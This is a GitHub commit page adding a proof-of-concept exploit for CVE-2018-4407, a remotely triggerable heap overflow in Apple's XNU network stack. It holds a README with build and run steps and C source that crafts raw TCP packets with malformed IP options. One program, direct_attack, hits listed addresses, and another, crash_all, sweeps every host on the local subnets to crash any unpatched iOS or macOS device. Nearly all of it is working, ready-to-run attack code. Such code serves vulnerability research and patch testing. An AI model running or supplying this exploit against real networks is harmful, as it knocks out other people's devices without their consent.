Skip to content

Commit b2233d3

Browse files
SamGitHub Enterprise
authored andcommitted
Merge pull request #15 from kev/Apple_XNU_icmp_error
Exploit PoC for buffer overflow in icmp_error (CVE-2018-4407).
2 parents 0e6f0b8 + b96b1cb commit b2233d3

9 files changed

Lines changed: 487 additions & 0 deletions

File tree

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
*.o
2+
crash_all
3+
direct_attack
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
all: direct_attack crash_all
2+
3+
direct_attack: direct_attack.o send_packet.o utils.o
4+
gcc -O2 -Wall direct_attack.o send_packet.o utils.o -o direct_attack
5+
6+
crash_all: crash_all.o utils.o
7+
gcc -O2 -Wall crash_all.o send_packet.o utils.o -o crash_all
8+
9+
direct_attack.o: direct_attack.c send_packet.h utils.h
10+
gcc -O2 -Wall -c direct_attack.c
11+
12+
crash_all.o: crash_all.c send_packet.h utils.h
13+
gcc -O2 -Wall -c crash_all.c
14+
15+
send_packet.o: send_packet.c send_packet.h utils.h
16+
gcc -O2 -Wall -c send_packet.c
17+
18+
utils.o: utils.c utils.h
19+
gcc -O2 -Wall -c utils.c
20+
21+
clean:
22+
rm -f *~ *.o direct_attack crash_all
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
## Heap buffer overflow in icmp_error (CVE-2018-4407)
2+
3+
Proof-of-concept exploit for a remotely triggerable heap buffer overflow vulnerability in iOS 11.4.1 and macOS 10.13.6. This exploit can be used to crash any vulnerable iOS or macOS device that is connected to the same network as the attacker's computer. The vulnerability can be triggered without any user interaction on the victim's device. The exploit involves sending a TCP packet with non-zero options in the IP and TCP headers. It is possible that some routers or switches will refuse to deliver such packets, but it has worked for me on all the home and office networks that I have tried it on. However, I have found that it is not usually possible to send the malicious packet across the internet.
4+
5+
For more information about the vulnerability, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407).
6+
7+
The buffer overflow is in this code [bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339):
8+
9+
```c
10+
m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);
11+
```
12+
13+
The exploit sets `icmplen == 120`, which is far too big for the destination buffer. The buffer is overwritten with garbage, so this causes the kernel to crash.
14+
15+
## Usage
16+
17+
The exploit code is designed to be built and run on Linux. The code uses a raw socket to send the malicious packet, because we need to have complete control over the contents of the IP and TCP headers. On Linux, root privileges are required to open a raw socket. Therefore, `sudo` is required to run the PoC. But this is on the attacker's computer, not the victim's, so it does not mitigate the severity of the vulnerability. The code does not do anything malicious to the Linux machine: the root privileges are only used to open a raw socket.
18+
19+
To build the PoC:
20+
21+
```bash
22+
make
23+
```
24+
25+
This builds two versions of the PoC: `direct_attack` and `crash_all`. The former requires you to supply the IP addresses of the target machines, like this:
26+
27+
```bash
28+
sudo ./direct_attack 192.168.0.8 192.168.0.12
29+
```
30+
31+
The latter does not require you to list the IP addresses:
32+
33+
```bash
34+
sudo ./crash_all
35+
```
36+
37+
Use `crash_all` with care: it will crash any unpatched Apple device that is connected to the same network as you.
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
#include <ifaddrs.h>
2+
#include "send_packet.h"
3+
4+
// Find all the network interfaces that we are attached to and send
5+
// out malicious packets to similar IP addresses. For example, if
6+
// one of our IP addresses is 192.168.0.13, then we will send malicious
7+
// packets to all addresses in the range 192.168.0.1-255.
8+
int main(int argc, char *argv[])
9+
{
10+
struct ifaddrs *ifaddr;
11+
12+
// Create a raw socket for sending the malicious packets.
13+
const int sock = create_raw_socket();
14+
if (sock < 0) {
15+
printf("Failed to create socket. Try running with sudo.\n");
16+
return 1;
17+
}
18+
19+
// Get the network interfaces that we are attached to.
20+
if (getifaddrs(&ifaddr) < 0) {
21+
printf("getifaddrs failed");
22+
return 1;
23+
}
24+
25+
// Loop over the network interfaces.
26+
struct ifaddrs *ifa;
27+
for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
28+
if (ifa->ifa_addr == NULL)
29+
continue;
30+
31+
if (ifa->ifa_addr->sa_family == AF_INET) {
32+
struct sockaddr_in *addr = (struct sockaddr_in *)ifa->ifa_addr;
33+
printf("%s: %s\n", ifa->ifa_name, inet_ntoa(addr->sin_addr));
34+
35+
// Send out malicious packets to 253 similar IP addresses, by
36+
// cycling through the final byte of the address. We skip values
37+
// 0, 1, and 255 because they are not valid.
38+
const uint16_t dst_port = ntohs(22);
39+
const uint16_t src_port = ntohs(1234);
40+
const uint32_t src = ntohl(addr->sin_addr.s_addr);
41+
const uint32_t dst = src & 0xFFFFFF00;
42+
size_t i;
43+
for (i = 2; i < 255; i++) {
44+
const int r0 = send_packet(
45+
sock, htonl(src), src_port, htonl(dst | i), dst_port, 0, 0, 1, 0
46+
);
47+
if (r0 < 0) {
48+
printf("send failed %s %ld\n", ifa->ifa_name, i);
49+
break;
50+
}
51+
}
52+
}
53+
}
54+
55+
freeifaddrs(ifaddr);
56+
57+
const int r1 = close(sock);
58+
if (r1 < 0) {
59+
printf("could not close socket.\n");
60+
return -1;
61+
}
62+
63+
return 0;
64+
}
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
#include "send_packet.h"
2+
3+
int main(int argc, char* argv[])
4+
{
5+
if (argc <= 1) {
6+
const char* progname = "a.out"; // Default program name
7+
if (argc > 0) {
8+
progname = argv[0];
9+
}
10+
printf("Usage: sudo %s <dest ip> <dest ip> ...\n", progname);
11+
printf("Example:\n");
12+
printf(" sudo %s 192.168.0.8 192.168.0.12\n", progname);
13+
return 1;
14+
}
15+
16+
const uint32_t src = 0; // 0net_addr(argv[1]);
17+
const uint16_t dst_port = ntohs(22);
18+
const uint16_t src_port = ntohs(1234);
19+
20+
const int sock = create_raw_socket();
21+
if (sock < 0) {
22+
printf("Failed to create socket. Try running with sudo.\n");
23+
return 1;
24+
}
25+
26+
int i;
27+
for (i = 1; i < argc; i++) {
28+
const uint32_t dst = inet_addr(argv[i]);
29+
const int r0 = send_packet(sock, src, src_port, dst, dst_port, 0, 0, 1, 0);
30+
if (r0 < 0) {
31+
printf("send to %s failed\n", argv[i]);
32+
return 1;
33+
}
34+
}
35+
36+
const int r1 = close(sock);
37+
if (r1 < 0) {
38+
printf("could not close socket.\n");
39+
return -1;
40+
}
41+
42+
// Data sent successfully
43+
printf("Packets sent successfully\n");
44+
return 0;
45+
}
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
#include "send_packet.h"
2+
3+
// Create and send a TCP packet, which triggers the following callpath:
4+
//
5+
// 1. ip_input() bsd/netinet/ip_input.c:1835
6+
// 2. call to ip_dooptions() bsd/netinet/ip_input.c:2185
7+
// 3. ip_dooptions() bsd/netinet/ip_input.c:3222
8+
// 4. goto bad bsd/netinet/ip_input.c:3250
9+
// 5. call icmp_error bsd/netinet/ip_input.c:3495
10+
// 6. icmp_error() bsd/netinet/ip_icmp.c:203
11+
// 7. call m_copydata() bsd/netinet/ip_icmp.c:339
12+
//
13+
int send_packet(
14+
const int sock,
15+
const uint32_t src, const uint16_t src_port, // In network byte order
16+
const uint32_t dst, const uint16_t dst_port, // In network byte order
17+
const uint32_t seq, const uint32_t ack_seq,
18+
const uint16_t syn, const uint16_t ack
19+
) {
20+
char packet[1024];
21+
memset(packet, 0, sizeof(packet));
22+
23+
struct iphdr* ip_hdr = (struct iphdr*)packet;
24+
const size_t ip_hdrlen = 60; // Maximum IP header size.
25+
struct tcphdr* tcp_hdr = (struct tcphdr*)(ip_hdrlen + (char*)ip_hdr);
26+
const size_t tcp_hdrlen = 60; // Maximum TCP header size.
27+
const char* payload = tcp_hdrlen + (char*)tcp_hdr;
28+
const size_t payload_len = &packet[sizeof(packet)] - payload;
29+
30+
// Fill in the IP Header
31+
memset(ip_hdr, 0, ip_hdrlen);
32+
ip_hdr->ihl = ip_hdrlen >> 2;
33+
ip_hdr->version = 4;
34+
ip_hdr->tos = 0;
35+
ip_hdr->tot_len = ip_hdrlen + tcp_hdrlen + payload_len;
36+
ip_hdr->id = htonl (54321); // Id of this packet
37+
ip_hdr->frag_off = 0;
38+
ip_hdr->ttl = 255;
39+
ip_hdr->protocol = IPPROTO_TCP;
40+
ip_hdr->check = 0; // Checksum will be computed later.
41+
ip_hdr->saddr = src;
42+
ip_hdr->daddr = dst;
43+
44+
unsigned char* ip_opt = sizeof(struct iphdr) + (unsigned char*)ip_hdr;
45+
size_t ip_optlen = ip_hdrlen - sizeof(struct iphdr);
46+
memset(ip_opt, IPOPT_NOP, ip_optlen);
47+
// This assignment makes the options invalid, which will
48+
// trigger the call to icmp_error() at bsd/netinet/ip_input.c:3495
49+
ip_opt[ip_optlen-1] = IPOPT_EOL;
50+
ip_opt[0] = IPOPT_LSRR;
51+
ip_opt[1] = 3;
52+
ip_opt[2] = 0; // Invalid: triggers "goto bad" at ip_input.c:3281
53+
54+
// TCP Header
55+
memset(tcp_hdr, 0, tcp_hdrlen);
56+
tcp_hdr->source = src_port;
57+
tcp_hdr->dest = dst_port;
58+
tcp_hdr->seq = seq;
59+
tcp_hdr->ack_seq = ack_seq;
60+
tcp_hdr->doff = tcp_hdrlen >> 2;
61+
tcp_hdr->fin = 0;
62+
tcp_hdr->syn = syn;
63+
tcp_hdr->rst = 0;
64+
tcp_hdr->psh = 0;
65+
tcp_hdr->ack = ack;
66+
tcp_hdr->urg = 0;
67+
tcp_hdr->window = htons (5840); // maximum allowed window size
68+
tcp_hdr->check = 0; // Checksum will be computed later
69+
tcp_hdr->urg_ptr = 0;
70+
71+
// Compute checksums.
72+
tcp_checksum(
73+
ip_hdr,
74+
ip_hdrlen,
75+
tcp_hdr,
76+
tcp_hdrlen,
77+
payload,
78+
payload_len
79+
);
80+
81+
// Send the packet
82+
struct sockaddr_in sin;
83+
memset(&sin, 0, sizeof(sin));
84+
sin.sin_family = AF_INET;
85+
sin.sin_port = dst_port;
86+
sin.sin_addr.s_addr = dst;
87+
88+
const int r0 =
89+
sendto(
90+
sock, packet, ip_hdr->tot_len, 0,
91+
(struct sockaddr *)&sin, sizeof(sin)
92+
);
93+
if (r0 < 0) {
94+
const int err = errno;
95+
printf("send failed %d err=%d %s\n", r0, err, strerror(err));
96+
return -1;
97+
}
98+
99+
return 0;
100+
}
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#include "utils.h"
2+
3+
int send_packet(
4+
const int sock,
5+
const uint32_t src, const uint16_t src_port, // In network byte order
6+
const uint32_t dst, const uint16_t dst_port, // In network byte order
7+
const uint32_t seq, const uint32_t ack_seq,
8+
const uint16_t syn, const uint16_t ack
9+
);

0 commit comments

Comments
 (0)